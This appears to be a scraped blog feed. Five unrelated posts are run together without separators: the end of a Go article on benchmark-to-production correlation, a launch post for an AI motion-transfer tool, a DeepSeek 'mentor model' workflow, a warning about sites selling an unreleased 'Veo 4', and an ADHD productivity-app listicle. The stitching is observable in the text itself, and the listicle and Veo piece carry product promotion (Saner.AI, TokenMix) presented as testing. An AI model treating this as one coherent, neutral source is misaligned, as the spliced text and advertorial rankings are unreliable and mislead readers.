// AddResult appends one (bench, prod) pair and updates correlation if we have enough data.

// notes: keep series aligned, compute r when data is “mature enough”, and warn if predictiveness fades.

func (bt *BenchmarkTracker) AddResult(benchTime, prodLatency float64) {

bt.benchmarkResults = append(bt.benchmarkResults, benchTime) // push bench sample

bt.productionResults = append(bt.productionResults, prodLatency) // push prod sample (same index)

// sanity: if somehow lengths diverge (caller bug), bail quietly to avoid panics

if len(bt.benchmarkResults) != len(bt.productionResults) { // alignment check

return // don’t compute r on mismatched series

}

// only compute correlation when we have “enough” points to matter

if len(bt.benchmarkResults) > 10 { // threshold: tune per noise level

corr := calculateCorrelation(bt.benchmarkResults, bt.productionResults) // Pearson r in [-1,1]

bt.correlationHistory = append(bt.correlationHistory, corr) // stash latest r for trend plots

// alert if benches stop predicting prod well (rule of thumb: r < 0.7)

if corr < 0.7 { // under the “useful” line

log.Printf("WARNING: benchmark %q correlation dropped to %.3f", bt.name, corr) // heads-up

}

}

}

// calculateCorrelation is assumed to exist elsewhere in your codebase. // e.g., Pearson on two equal-length slices

When to Trust Your Benchmarks

Trust them when:

  • Correlation > 0.8 with historical production improvements
  • You’re simulating realistic load patterns
  • Multiple runs show consistent results
  • You’re testing hot paths from production profiles
  • Input data matches production distributions

Be skeptical when:

  • Correlation < 0.5
  • Perfect, static inputs
  • Only microbenchmarks, no integration tests
  • Results seem too good (they probably are)

Ignore them when:

  • Correlation < 0.3 (actively misleading)
  • Synthetic workloads that don’t match reality
  • You’re optimizing for benchmark scores, not users

Your benchmarks should be a conversation with production, not a fantasy. Every benchmark should answer: “If this improves, will users actually benefit?”

Stop optimizing what doesn’t matter. Start measuring what does. Your production metrics will prove it.

Enjoyed the read? Let’s stay connected!

  • Follow*The Speed Enginee* r for more Rust, Go and high-performance engineering stories.
  • 💡 Like this article? Follow for daily speed-engineering benchmarks and tactics.
  • ⚡ Stay ahead in Rust and Go — follow for a fresh article every morning & night.

Your support means the world and helps me create more content you’ll love. ❤️

I spent 3 months building an AI motion tool so creators don’t have to hate their workflow anymore

AI Motion Control preview

Let me be honest for a second.

I don’t have a team. I don’t have a research lab. I don’t have a mocap suit hanging in my closet (I wish).

I’m just a builder who got really, really tired of watching creators give up on cool ideas because the tools were too painful.

That’s why I built Motion Control AI .
AI Motion Control preview

The three words that started everything
A while ago, someone asked me: “Can you make my character do this dance?”
They sent me a 15-second video of a person moving naturally. Nothing fancy.

I said: “Yes, but…”

● You’ll need to extract poses
● Then find a model that does transfer
● Then hope the expressions carry over
● Then render it locally unless you want to pay per second
● Then fix the jitter frame by frame
● Then…

They just looked at me.
I stopped saying “but” after that day.
What it actually does (in plain English)
Upload a reference video. Upload a character image. Hit a button.

The AI copies:
● Body motion rhythm and timing
● Facial expressions + lip sync
● Camera movement

That’s the whole pitch. No nodes. No Python. No “please install CUDA.”
The part nobody warned me about
Everyone thinks building AI tools is about the models.

Kling 3.0. Kling 2.6. Wan 2.2 Animate / Replace. Seedance 2.0. I integrated all of them so you don’t need five separate accounts.
But you know what I actually lost sleep over?

Queue management.
I’m serious. I sat at 2 AM staring at a queue system thinking: “If this breaks, someone’s 7-minute render dies and they will never trust me again.”

Also:
● Prompt reuse (because retyping is a form of slow violence)
● Consistent exports (so you can iterate without screaming)
● Graceful failure messages (instead of a blank white screen of despair)
These things don’t sound sexy. But they’re the difference between a tool and a toy.

The use cases that made me emotional
I started seeing people use this for things I never imagined:
● A VTuber making their model react to horror games – real-time fear in the eyes
● An indie animator who couldn’t afford a studio, now making music videos solo
● A teacher using it to make historical figures “dance” for a class (students lost their minds)
● Someone’s D&D character doing the floss, as mentioned – but honestly? That one made me laugh out loud
One user wrote: “I showed my mom. She didn’t know it was AI. That’s when I knew.”

I almost cried.

What still sucks (and I’m not hiding it)

I could pretend everything works perfectly. But you’re builders too. You know better.

Still hard:
● Occlusion-heavy scenes (two people hugging? AI gets confused about whose arm is whose)
● Multi-person interaction consistency (group choreography is a nightmare)
● Extremely fast camera motion
● Long videos drifting off into uncanny valley
● Fine hand/finger accuracy in some models (pianos are currently out of reach)

I fix one of these every week. Slowly. Like turning a big ship.

What I genuinely don’t know yet
I’m posting here because I need real answers, not validation:

  1. Output quality – Compared to what you’re using now, is this better, worse, or “interesting but not there yet”?
  2. All-in-one interface – Do creators actually want this? Or do you prefer picking best-of-breed models yourself?
  3. Pricing – What number makes you say “that’s reasonable” vs “that’s insulting”? Be honest. I have thick skin.
  4. Missing controls – What slider, mask, or knob do you wish existed? I’ll build the top request.

Why I’m still doing this
Some days I ask myself: “Why didn’t you just build another SaaS dashboard? It would have been so much easier.”
But then I get an email. Or a DM. Or someone tags me in a video where their character finally, finally moves the way they imagined.
And I remember.

I built this because creativity shouldn’t feel like debugging.
If you want to see what I’ve been obsessing over: motioncontrol.media
Motion Control AI

Try it. Break it. Love it. Hate it. Just tell me.
I’ll be here reading everything.
– Someone who still believes simple tools can change how people make things

How I Make DeepSeek Work Closer to Claude Code in Practice

Multi-model mentor workflow

People have been asking me how I make DeepSeek feel closer to Claude Code in real work.

My answer is not a magic prompt. It is a mentor model workflow.

I use a stronger model to plan, supervise, debug, and review. Then I let smaller or cheaper models handle bounded execution tasks in parallel.

Important caveat: I am not claiming DeepSeek is equivalent to Claude Code as a single model/tool. The comparison is about the practical workflow effect.

Multi-model mentor workflow

1. The mentor model creates the task boundary

Before assigning work, the stronger model defines:

  • the small task units
  • the files or outputs each executor may touch
  • the acceptance checks
  • the things that must not change

That alone makes weaker models much more reliable. They no longer have to infer the whole strategy.

Mentor model planning

2. Smaller models execute narrow tasks

DeepSeek becomes useful when I give it work like:

  • inspect this log and summarize the failure
  • draft this section using the existing outline
  • analyze this recording and list usable timestamps
  • convert this article into a platform version
  • modify this specific module without touching unrelated files

I avoid giving smaller models vague ownership of the whole project.

Parallel model execution

3. The mentor model reads the process, not only the result

This is the part that matters most.

The mentor checks command output, logs, stuck points, test failures, render errors, and mismatched assumptions. It does not just ask “did the file exist?”

For a video segment, it checks resolution, audio behavior, subtitles, and template consistency.

For article assets, it checks image template usage, manifest records, alt text, and platform rules.

Feedback loop

4. Failures become reusable skills

After a model gets stuck, I want the lesson saved:

  • what triggered the failure
  • which check should happen earlier next time
  • which platform rule matters
  • which command or template is reliable

Those lessons become project skills and handoff notes. This is how later runs get smoother.

The short version

DeepSeek works much better for me when it is not asked to be the entire coding agent.

It becomes much more useful when a stronger model acts as mentor:

  • plan the task
  • define the boundary
  • assign narrow execution
  • inspect logs and errors
  • correct the process
  • turn lessons into reusable memory

That is the real pattern. Not “DeepSeek replaces Claude Code”, but “DeepSeek performs better inside a mentor-led agent workflow.”

Veo 4 Doesn’t Exist Yet, But People Are Already Selling It

I went looking for Google Veo 4 last week. I had three browser tabs open with “Veo 4” landing pages, a credit card warmed up, and 30 minutes blocked to test the model that everyone on my feed seemed to be talking about.

Two hours later I was pretty sure I had not actually found Google’s Veo 4 anywhere on the open internet. So I documented what I did find. Sharing here because if you’re searching for “Veo 4” right now you’re about to walk into the same situation.

The 30-second version

As of May 12, 2026:

  • Google DeepMind has not released Veo 4
  • The latest publicly shipped model is Veo 3.1
  • No Veo 4 announcement exists on any Google domain
  • Multiple third-party platforms are already selling “Veo 4” subscriptions
  • The most prominent one (veo4free.io) has an unfilled template on its About page

Where I started

deepmind.google/models/veo is Google’s official Veo product page. On May 12 it features Veo 3.1 prominently with the tagline “Video, meet audio. Our latest video generation model, designed to empower filmmakers and storytellers.”

The page mentions Veo 3 and Veo 3.1. Not Veo 4. The DeepMind blog index has no Veo 4 entries. Google’s AI/Gemini blog has no Veo 4 entries. The Google Cloud AI/ML blog has no Veo 4 entries. A direct request to blog.google/technology/ai/google-veo-4/ returns 404.

So whoever is selling “Veo 4” is not selling something from those URLs.

What veo4free.io actually is

veo4free.io brands itself “Veo 4 — Free Multimodal AI Video Generator By Google DeepMind.” Title tag, meta description, hero text all use the “by Google DeepMind” framing.

I fetched the site directly. Here’s the relevant evidence:

The About page (literal text, copy-pasted from page):

Who We Are
[Company Name] is dedicated to [brief description of what your 
company does]. Founded in [year], we have been [brief history 
or achievement].

Our Mission
Our mission is to [your company's mission statement]. We believe 
in [core values or principles] and are committed to [what you're 
committed to delivering].

What We Do
We specialize in [your main services/products]:
[Service/Product 1] : [Brief description]
[Service/Product 2] : [Brief description]
[Service/Product 3] : [Brief description]
...
Contact Us
Email : [ [email protected] ]
Phone : [your-phone-number]
Address : [your-address]

That’s the entire About page of a platform that’s actively selling subscriptions and claiming Google DeepMind affiliation. The website builder template was never filled out.

The Blog page: “No blog posts. We are creating exciting content, please stay tuned!”

The pricing: $29.90 / $59.90 / $129.90 per month, credit-based generation, ~330 / 810 / 2040 videos per year per tier.

The model selector inside the generator UI: lets you pick between “Seedance AI,” “Veo 4,” “Seedance 2,” “Veo 3.1,” “Happyhorse,” and “Nano Banana.” Note that real Veo 3.1 appears alongside the unreleased “Veo 4” as separate selectable options.

I don’t know what model handles a request when you select “Veo 4” on that platform. Could be Veo 3.1 routed through Google’s API with a different label. Could be a different vendor’s model entirely. Could be a future swap to real Veo 4 if and when Google releases the model. There’s no documentation that tells you.

What the legit publishers are saying

Artlist published a piece titled “Veo 4: What creators can realistically expect from the next generation of AI video,” originally December 2, 2025, last updated April 20, 2026.

The article is candid about the status. Direct quote from their FAQ:

“Has Veo 4 been officially announced? No. Google DeepMind has not officially announced Veo 4. All current information comes from public research trajectories, industry reporting, and the evolution of previous Veo models.”

“When is Veo 4 expected to be released? There is no confirmed release date. Based on Google’s yearly update cycle and recent platform behavior, creators expect Veo 4 sometime in 2026, but this has not been officially confirmed.”

So Artlist — a legitimate stock media + AI tools company that’s a Google Veo partner — explicitly says Veo 4 is unreleased and they’re publishing predictions, not features.

The predicted capabilities (their analysis, with industry confidence levels I’d assign):

  • 4K resolution support — high confidence (consistent creator demand, clear gap in Veo 3.1)
  • Longer clip duration (2-3+ minutes) — medium-high confidence
  • Stronger character consistency — high confidence (mirrors Google’s Nano Banana Pro design philosophy)
  • Multilingual on-screen text accuracy — medium-high (Google’s language model lead translates here)
  • Higher-fidelity audio with expressive speech — medium confidence
  • Reference sheet workflows — medium confidence

These are educated industry expectations. They are not features you can rely on for production planning, and they are not features you can actually pay to access today.

The release timing analysis

If you map the Veo release cadence:

Model Release
Veo 1 May 2024 (Google I/O)
Veo 2 December 2024
Veo 3 May 2025 (Google I/O)
Veo 3.1 Late 2025 / early 2026 mid-cycle refresh
Veo 4 ?

Google I/O 2026 is scheduled for late May. The previous two years’ I/O have included a major Veo announcement. Best inference for the actual Veo 4 reveal is May 2026, within days of when I’m writing this. Could slip later. Won’t be earlier.

This matters because it means today’s “Veo 4” subscriptions are charging for something that doesn’t exist for at least another week, possibly longer, possibly not until late 2026.

What you can actually use today

Four production-grade video generation models are shipping right now:

Model Max res Audio Max clip Approx cost/sec Best for
Veo 3.1 1080p Native ~1 min $0.30–$0.75 Storytelling with audio
Sora 2 1080p Partial ~20 sec TBD Cinematic shots
Wan 2.6 4K None ~10 sec $0.01–$0.05 Cost-sensitive 1080p volume
Kling O1 1080p None ~10 sec $0.10–$0.25 Stylized motion

If you specifically want Veo capabilities, the three legitimate access paths today are:

1. Gemini app             (gemini.google.com)        - consumer subscription
2. Google Flow            (flow.google)              - creator-focused, credit packs
3. Vertex AI Veo API      (cloud.google.com/vertex-ai) - developer, per-second pricing

That’s it. Anything else is a wrapper layer.

Five things to check before paying any “Veo 4” service

  1. Is there an About page with a real company name, address, and contact? veo4free.io fails this on day one — template placeholders.
  2. Is there a published Google partnership or Vertex AI backend disclosure? Real Veo access requires real infrastructure relationships. Real partners advertise them. Ghost partners don’t.
  3. Does the pricing show per-second cost (not just monthly credit bundles)? Hiding per-second cost is hiding which model actually serves your request.
  4. Are multiple selectable “models” disclosed transparently with their actual provider? Routing layers are fine. Opaque routing layers calling everything “Veo 4” are not.
  5. Is there a public demo reel attributed specifically to Veo 4 with timestamp? Generic AI video samples are a substitute, not proof.

If a platform fails 2 or more of these, it’s not selling you Veo 4. It’s selling you a wrapper that can swap its backend any time.

What I actually do for video generation work right now

When I need video generation, I split workloads:

  • Storyboarding and previz with audio: Veo 3.1 via Gemini or Vertex AI
  • High-volume 1080p social cuts: Wan 2.6 for the cost advantage
  • Stylized motion / specific aesthetic: Kling O1
  • Script and prompt work surrounding the video: GPT-5.5, Claude Sonnet 4.6, or Gemini 3.1 Pro routed through a unified API gateway

Personally I use TokenMix.ai for the LLM gateway part — 170+ language models behind one OpenAI-compatible endpoint, including Claude, GPT-5, Gemini 3.1 Pro, DeepSeek, Qwen, Kimi, GLM, MiniMax. The video models I still go to each provider’s native API for, because video model coverage on aggregators is uneven and the per-second economics matter at scale. TokenMix’s model intelligence tracker is also where I check Veo / Sora / Wan pricing changes month over month.

# typical setup for the LLM side
from openai import OpenAI

client = OpenAI(
    api_key=os.environ["TOKENMIX_KEY"],
    base_url="https://api.tokenmix.ai/v1",
)

# video generation: separate provider call to Vertex AI or Wan API

TL;DR for the impatient

  • Veo 4 is not released
  • Veo 3.1 is the real latest
  • “Veo 4” platforms charging money in May 2026 are wrappers
  • Google I/O 2026 in late May is the most likely official reveal window
  • Use Gemini, Flow, or Vertex AI for legitimate Veo access
  • Use Wan 2.6 if cost per second matters more than audio quality
  • Don’t subscribe to a “Veo 4” service that has template placeholders on its About page

If you’ve tested any of the “Veo 4” platforms and got something specific about which model actually serves their requests, drop a comment — I’d genuinely like to know what’s running under the hood there.

Full writeup with all pricing tables and the red-flag checklist on the main site at tokenmix.ai/blog/veo-4-reality-check-not-released-2026. All data verified as of May 12, 2026.

Best Productivity Apps for Adults with ADHD (Well Tested)

The Best Productivity Apps for Adults with ADHD (Tested Over Months, Not Days)

I’ve spent the last several months testing productivity apps specifically with ADHD brains in mind. Not because I wanted to write a listicle. Because the existing ones are terrible.

Most of them are written by people who don’t have ADHD, recommending apps they’ve never used for more than a week, with no understanding of what “ADHD-friendly” actually means at 9 PM when you’ve been staring at the same task for three hours and still haven’t started.

This article is for adults with ADHD who are done wasting money on apps that look great in screenshots but fall apart in real use. It’s also for people who were recently diagnosed and have no idea where to start. I tested 20+ tools over months, paying for most of them, and narrowed this down to the ones that actually held up across bad days, not just good ones.

Quick Answer: What Are the Best Productivity Apps for Adults with ADHD?

  • Saner.AI — Best all-in-one AI assistant for ADHD brains. Captures notes, manages email, schedules tasks, and proactively checks in without you having to remember to use it. Built specifically for ADHD.
  • Todoist — Best for fast task capture. Low friction, natural language input, no setup required. Good for ADHD brains that forget things in seconds.
  • Freedom — Best distraction blocker. Syncs blocklists across all your devices. The Locked Mode is the one feature that actually keeps you off TikTok mid-task.
  • Tiimo — Best visual daily planner. Turns your schedule into a visual timeline with icons and color. Won iPhone App of the Year at the 2025 App Store Awards.
  • Forest — Best focus timer. Gamifies the Pomodoro method. You grow a tree while you work. It dies if you leave the app. Simple. Works.
  • Focusmate — Best accountability tool. Real virtual co-working sessions with another human. Body doubling without leaving your house.

What Is a Productivity App for ADHD?

A productivity app is, on the surface, any tool that helps you get things done: task managers, calendars, note-takers, focus timers. But a productivity app for ADHD is something more specific, and that distinction matters.

Standard productivity apps are built on the assumption that you’ll remember to open them, remember what you put in them, and remember to check them again at the right time. ADHD breaks every one of those assumptions. The apps on this list work differently. They externalize executive function: they do the remembering, the prioritizing, the task-switching, and sometimes the prompting for you.

The key distinction most people miss: there’s a difference between apps that organize your tasks and apps that actively work with your brain to surface what matters. A Notion database doesn’t care that you haven’t looked at it in four days. Saner.AI will proactively send you a summary and ask if you want to reprioritize. One is storage. The other is a system.

The ADHD Productivity Problem

ADHD isn’t just about focus. It’s about the entire chain of executive function: starting tasks, estimating time, switching between activities, holding things in working memory long enough to act on them. Apps can’t fix ADHD. But the right ones can carry some of that cognitive load.

  • The scale is bigger than most people realize. A 2021 peer-reviewed meta-analysis published in the Journal of Managed Care & Specialty Pharmacy estimated the total societal cost of adult ADHD in the US at $122.8 billion per year, with $28.8 billion attributed directly to lost workplace productivity.
  • The productivity loss is specific and measurable. A WHO World Mental Health Survey across 10 countries found that workers with ADHD lose an average of 21.7 days of decreased work quantity and 13.6 days of decreased work quality per year — over 35 days of impaired output per person, per year.
  • Most adults with ADHD are undiagnosed and unsupported. A 2024 meta-analysis published in The Lancet Psychiatry estimated that 6.76% of adults worldwide show ADHD symptoms, covering roughly 366 million people globally. Less than 20% have received a formal diagnosis or are in treatment.

How I Chose These Apps

I tested more than 20 productivity apps over months, using each one as a primary tool for at least three weeks. I paid for paid plans myself. I read hundreds of reviews on G2, Capterra, Product Hunt, Reddit, and the App Store to cross-check what real ADHD users said against my own experience.

Here’s what I weighted most:

  • Low-friction entry — Can you capture a thought in under five seconds?
  • Intelligent reminders and proactive prompting — Does the app remind you it exists, or do you have to remember to use it?
  • Minimal setup burden — Apps that require hours of configuration before they’re useful almost never get used.
  • Visual clarity — The best tools make it immediately obvious what to do next.
  • Flexibility without rigidity — An app that punishes you for a missed day will be abandoned.

Tool Breakdowns

Saner.AI

Saner.AI is a personal assistant app for ADHD. It’s the only tool on this list built from day one with ADHD brains specifically in mind, and the difference shows in ways that matter: it doesn’t wait for you to open it, remember what you put in it, or summon the focus to organize your notes. It does that work for you.

Key Features

  • Brain dump to task list — Open a chat with Skai (Saner.AI’s built-in AI assistant) and just type or speak whatever’s swirling in your head. Skai parses it, turns it into structured tasks, suggests due dates, and asks you to confirm.
  • Proactive summaries and check-ins — Saner.AI sends you scheduled overviews of your open tasks with smart recommendations for reprioritizing.
  • Auto-organized notes and knowledge base — Every note you capture gets tagged and categorized automatically. Search your knowledge base in plain language — no folder hierarchy, no manual tagging required.
  • Chrome extension for quick capture — Clip anything from the web into your knowledge base without opening the app or switching tabs.

Pros

  • You don’t have to remember to use it. The proactive check-ins are the single most ADHD-friendly feature in any productivity tool.
  • The brain dump feature is fast. Getting from scattered thought to structured task takes under a minute.
  • It works across notes, tasks, email, and calendar — reducing context switching to one app.

Cons

  • The free plan is limited. You’ll hit the ceiling quickly if you’re a heavy user.
  • Offline functionality is limited.

Pricing

Plan Price
Free $0
Starter $8/month (annual) or $12/month
Standard $16/month (annual) or $20/month

What Users Say

“Saner.AI feels like an active partner, not a static database.”

“I used to use Notion, Google Docs, and Obsidian. Now it’s Saner.AI. Not trash anymore.”

Best for: Adults with ADHD who are information workers — writers, researchers, marketers, consultants, and anyone who captures a lot of information and regularly loses track of it.

How to get started: Sign up at saner.ai. In the first session, run a brain dump in the Skai chat. Don’t worry about setting up folders or tags. Check back in 24 hours and look at your organized task list.

Tiimo

Tiimo is a visual daily planner built by and for neurodivergent people. It does one thing: turns your schedule into a visual timeline you can actually follow, with countdowns, color coding, and icons.

Key Features

  • Visual timeline with drag-and-drop — Your day appears as a color-coded timeline rather than a text list.
  • Focus timer — A live countdown keeps you anchored to the current task.
  • Mood check-ins — After tasks, you can log how you felt.
  • Apple Calendar and Reminders sync — Everything from your existing calendar pulls into Tiimo’s visual view.

Pros

  • The visual format is genuinely different — not just a to-do list with colors.
  • The app doesn’t punish you for changes. Drag tasks around and move on.
  • 100% ad-free.
  • Apple Watch integration gives gentle task nudges without pulling you back into your phone.

Cons

  • Initial setup takes real effort. You have to build routines from scratch.
  • Tiimo is a visual scheduler, not a task manager.
  • Some users report occasional crashes.
  • AI task breakdown and web version require a Pro subscription.

Pricing

Plan Price
Free $0
Pro ~$5.83/month (annual)

What Users Say

The most consistent theme in reviews is relief — users describing Tiimo as the first planner that didn’t make them feel broken.

Best for: Visual thinkers with ADHD who struggle with time blindness and need to see their day rather than just read it.

How to get started: Start the 7-day Pro trial. Build one routine — morning or workday start — before trying to plan your entire life.

Todoist

Todoist isn’t specifically built for ADHD. But it made this list because of one thing it does better than almost any other app: zero-friction task capture.

Key Features

  • Natural language input — “Call mom tomorrow at 6pm” becomes a scheduled reminder automatically.
  • Quick add from anywhere — Browser extension, mobile widget, voice command.
  • Priority levels and filters — Tasks can be flagged P1 through P4.
  • Karma system — Completing tasks earns points and builds a streak. Low-key gamification that taps into the ADHD need for immediate rewards.

Pros

  • The lowest-friction task capture of any app tested.
  • The free plan is genuinely useful.
  • Simple to start, deep enough to grow.

Cons

  • No time-blocking or visual scheduling.
  • The feature set can become a hyperfocus trap.
  • No built-in focus timer or body doubling.

Pricing

Plan Price
Free $0
Pro $5/month (annual)
Business $8/month per user

What Users Say

“The interface feels like it was made by people who have done usability studies and looked into why people don’t do tasks.”

Todoist has the most consistent long-term usage data of any app on this list. Multiple ADHD reviewers describe it as the tool they always come back to after trying something fancier.

Best for: Adults with ADHD who need a fast, reliable way to capture tasks and don’t want to spend time setting up a complex system.

How to get started: Download the app and browser extension on the same day. In the first 10 minutes, add every task you can think of.

Freedom

Freedom doesn’t make you focus. It makes it harder not to. You tell it which sites and apps are your biggest distractions, start a session, and they become inaccessible on every connected device.

Key Features

  • Cross-device blocking — Block Instagram on your laptop and it’s blocked on your phone simultaneously.
  • Locked Mode — Start a session you cannot end early. The feature specifically built for ADHD users who would otherwise talk themselves into “just one quick check.”
  • Scheduled recurring sessions — Set focus blocks once and they start automatically every day.
  • Built-in ambient sounds — Focus music options included.

Pros

  • Removes the decision, which is the hard part for ADHD.
  • Cross-device sync separates Freedom from browser-only blockers.
  • Recurring sessions build habit structure over time.

Cons

  • Android blocking is limited by OS restrictions.
  • No analytics or usage insights.
  • No free plan — only 7 free sessions to try.

Pricing

Plan Price
Monthly $8.99/month
Annual ~$3.33/month
Forever $199 one-time

What Users Say

“I want to kiss whoever made this app. I’m not stuck in the rabbit hole past bedtime anymore.”

Best for: Adults with ADHD who know exactly which sites and apps pull them off-task and want to remove that option rather than resist it.

How to get started: Use your 7 free sessions deliberately. Pick your three worst distraction sources and add them to a blocklist.

Forest

Forest is a Pomodoro-style focus timer with one mechanic: plant a virtual tree when you start a focus session, and it dies if you leave the app.

Key Features

  • Virtual tree growth tied to focus time — Start a session, watch a tree grow. Leave and it withers.
  • Customizable session length — 10 minutes to several hours.
  • Forest of completed sessions — Your completed focus blocks accumulate into a visual forest over time.
  • Real tree planting — Earned coins contribute to real trees planted via Trees for the Future.
  • White noise and focus sounds — Background audio to mask environmental distractions.

Pros

  • Almost free. Android is free; iOS is a $1.99 one-time payment.
  • Low-pressure mechanics. You’re not told you failed — your tree just dies.
  • No setup required. Open, set a timer, start working.

Cons

  • Doesn’t block anything on desktop. On mobile you stay in the app; on a computer, nothing stops you from opening a new tab.
  • No task management — purely a focus timer.
  • Gamification wears off for some users after a few months.

Pricing

Platform Price
Android Free
iOS $1.99 one-time

What Users Say

Forest’s strongest reviews come from people using it alongside a task manager. Used alone, it helps you focus. Used alongside a tool that tells you what to focus on, it’s more consistently effective.

Best for: Adults with ADHD who need a low-commitment focus ritual and respond well to visual progress.

How to get started: Open Forest. Set a 25-minute session. Plant the tree. Don’t overthink it.

Focusmate

Body doubling — working in the presence of another person — is one of the most consistently reported effective strategies for ADHD adults. Focusmate is the digital version.

Key Features

  • Live 1-on-1 video sessions — Matched with a real person, not AI.
  • Session declaration — At the start of every session, both parties state what they’re working on.
  • Flexible session lengths — 25, 50, or 75 minutes.
  • Sessions available 24/7 — Users from 150+ countries means you can find a session partner at 6am or 11pm.
  • Gender matching preferences — Inclusive options with sensitivity to identity.

Pros

  • The commitment mechanism works in a way no app can replicate.
  • The best tool on this list for task initiation specifically.
  • The free tier is genuinely useful.
  • The community is described as unusually supportive.

Cons

  • Camera-on is the default and most effective mode. If video calls cause anxiety, you lose a significant part of the accountability.
  • Scheduling can feel rigid.
  • The interface is functional, not impressive.

Pricing

Plan Price
Free 3 sessions/week
Premium $6.99/month — unlimited sessions, priority matching, session statistics

What Users Say

“I was on a Zoom call with a stranger in Portugal, and we hadn’t spoken in 45 minutes. I’d just finished my entire Q3 budget. The one I’d been avoiding for three weeks.”

Best for: Adults with ADHD who struggle most with task initiation — getting started is harder than staying focused.

How to get started: Book your first session for a task you’ve been avoiding. Tell your partner specifically what you’ll do: “I’m going to draft the first three paragraphs of the report I’ve been putting off.”

Quick-Pick Guide

Situation Tool Cost
A million notes and can never find anything Saner.AI From $8/month
Social media is your biggest work killer Freedom From $3.33/month
Getting started is the hardest part of your day Focusmate Free (3 sessions/week)
Work from home and lost all external structure Focusmate + Saner.AI —
Want one app for notes, tasks, email, and calendar Saner.AI From $8/month
Student with ADHD on a tight budget Forest + Focusmate Under $2 total
Tried every app and nothing has stuck Saner.AI From $8/month

Conclusion

The tools on this list aren’t magic, and they won’t fix ADHD. What they can do is carry some of the executive function your brain struggles to generate consistently.

The distinction worth holding onto: apps that store your tasks are different from apps that actively work with your brain.

Todoist and Forest live closer to storage and ritual. Saner.AI and Focusmate actively change what you do next.

If you’re starting from scratch, pick one tool that addresses your biggest friction point right now. For most adults with ADHD, that’s either task capture (Todoist or Saner.AI), getting started (Focusmate), or distraction (Freedom).

Build from there. The best ADHD productivity system is the one you actually use — not the most complete one you set up once and abandoned.